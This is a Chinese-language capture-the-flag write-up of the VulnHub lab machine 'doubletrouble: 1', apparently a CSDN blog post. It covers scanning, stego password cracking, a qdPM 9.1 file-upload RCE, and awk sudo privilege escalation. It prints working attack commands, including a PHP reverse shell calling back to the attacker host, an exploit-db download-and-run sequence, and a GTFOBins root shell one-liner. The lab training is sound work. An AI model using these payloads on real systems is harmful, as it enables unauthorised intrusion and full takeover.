vulnhub doubletrouble: 1

渗透思路:

nmap扫描----gobuster扫描网站目录----stegseek爆破图片隐写密码,获得网站用户密码----利用qdPM 9.1远程命令执行(任意文件上传)漏洞getshell----awk sudo提权

环境信息:

靶机:192.168.101.61

攻击机:192.168.101.34

具体步骤:

1、nmap扫描

sudo nmap -sV -sC -p- 192.168.101.61

很快扫描出两个端口:22(ssh)和80(http)

2、gobuster扫描网站目录

​gobuster dir -u http://192.168.101.61/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

扫描到不少目录,备用

3、兔子洞:利用qdPM 9.1未授权访问漏洞获得数据库用户名和密码

访问http://192.168.101.61/被重定向到http://192.168.101.61/index.php/login

从该页面可以发现这是基于qdPM 9.1的站点

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers上有一堆qdPM 9.1的漏洞

因为现在还登录不进去,所以先看一下这个qdPM 9.2 - Password Exposure (Unauthenticated)的漏洞

数据库的密码存放在yml文件中,可以未授权访问http://<website>/core/config/databases.yml来获取

浏览器访问:http://192.168.101.61/core/config/databases.yml,并下载

下载后查看文件,发现username是otis,password是一句php代码"<?php echo urlencode('rush') ; ?>"

这句php代码的意思就是打印出url编码的rush字符串,其实rush里面没有需要被url编码的特殊字符,应该输出就是rush,不过为了保险起见,可以在攻击机上执行一下这个php代码:

php -r "echo urlencode('rush');"

执行结果如我所料,就是rush

4、兔子洞后续:重新安装网站

访问刚刚gobuster扫描出来的网站安装页面http://192.168.101.61/install/,点一下Database Config按钮,尝试重新安装网站。

来到http://192.168.101.61/install/index.php?step=database_config页面,将DB username的值填写为otis,DB password的值填写为rush,点击install Database

来到http://192.168.101.61/install/index.php?step=qdpm_config页面,填写Password,点击Save

上一步操作成功之后,来到登录页面http://192.168.101.61/index.php/login,尝试用用户名admin@localhost.com,以及刚刚设置的密码登录,结果还是登录不上去

5、 stegseek爆破图片隐写密码,得到网站用户名和密码

访问gobuster爆破出的目录http://192.168.101.61/secret/,发现有一张图片

把图片保存到本地,然后就来到了我的未知领域:图片隐写

网上看到有大师用的是stegseek工具,查了一下非常方便快捷。

首先在github上(GitHub - RickdeJager/stegseek: Worlds fastest steghide cracker, chewing through millions of passwords per second)下载.deb文件,然后执行

sudo apt install ./stegseek_0.6-1.deb

即可成功安装

安装完成后执行

stegseek doubletrouble.jpg ./rockyou.txt

其中rockyou.txt是从/usr/share/wordlists/rockyou.txt.gz解压出来的巨大字典。

不到2s就爆破出结果了,结果放在文件doubletrouble.jpg.out中

查看doubletrouble.jpg.out的内容,发现用户名otisrush@localhost.com,密码otis666

6、利用qdPM 9.1远程命令执行(任意文件上传)漏洞getshell

来到网站登录页面http://192.168.101.61/index.php/login,用上一步中爆破出的用户名密码成功登录

步骤3中在Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers上搜到了一堆qdPM 9.1的漏洞,其中包括远程命令执行漏洞(CVE-2020-7246),可以用来getshell

6.1 使用现成的exp

可以用qdPM 9.1 - Remote Code Execution (RCE) (Authenticated) - PHP webapps Exploit这个exp来上传后门

整个下载和执行的过程命令如下:

wget https://www.exploit-db.com/download/50175
mv 50175 50175.py
chmod +x 50175.py
python3 ./50175.py -url http://192.168.101.61/ -u otisrush@localhost.com -p otis666

但是我发现这个exp中的异常换行特别多,还得自己把异常换行全改了才能执行

执行完之后,提示文件已经保存在http://192.168.101.61//uploads/users/下了

访问http://192.168.101.61/uploads/users/,这个710364-backdoor.php就是exp上传的后门

浏览器地址栏输入http://192.168.101.61/uploads/users/710364-backdoor.php?cmd=id,发现后门是有效的

6.2 自己上传反弹shell

从上面下载的exp中其实可以发现,后门的上传和http://192.168.101.61/index.php/myAccount页面有关。

访问这个页面,发现有一个可以上传文件的位置Photo

在攻击机上新建文件shell1.php,内容是php反弹shell

<?php $sock=fsockopen("192.168.101.34",1111);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>

http://192.168.101.61/index.php/myAccount页面上传这个文件,虽然上传后页面会像下面这样报错,但实际文件已经上传成功了

攻击机上nc监听1111端口

nc -nlvp 1111

http://192.168.101.61/uploads/users/下找到刚上传的文件

点击该文件进行访问,攻击机上获得反弹shell

输入以下命令,把shell改成交互式的

python -c 'import pty; pty.spawn("/bin/bash")'

7、awk sudo提权

这个靶机的提权非常简单,我都没想到www-data居然会有sudo权限

sudo -l

发现当前用户www-data可以sudo执行/usr/bin/awk

在GTFObins上搜索一下,发现awk可以sudo提权awk | GTFOBins

照着执行一下

sudo awk 'BEGIN {system("/bin/sh")}'

得到root权限

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值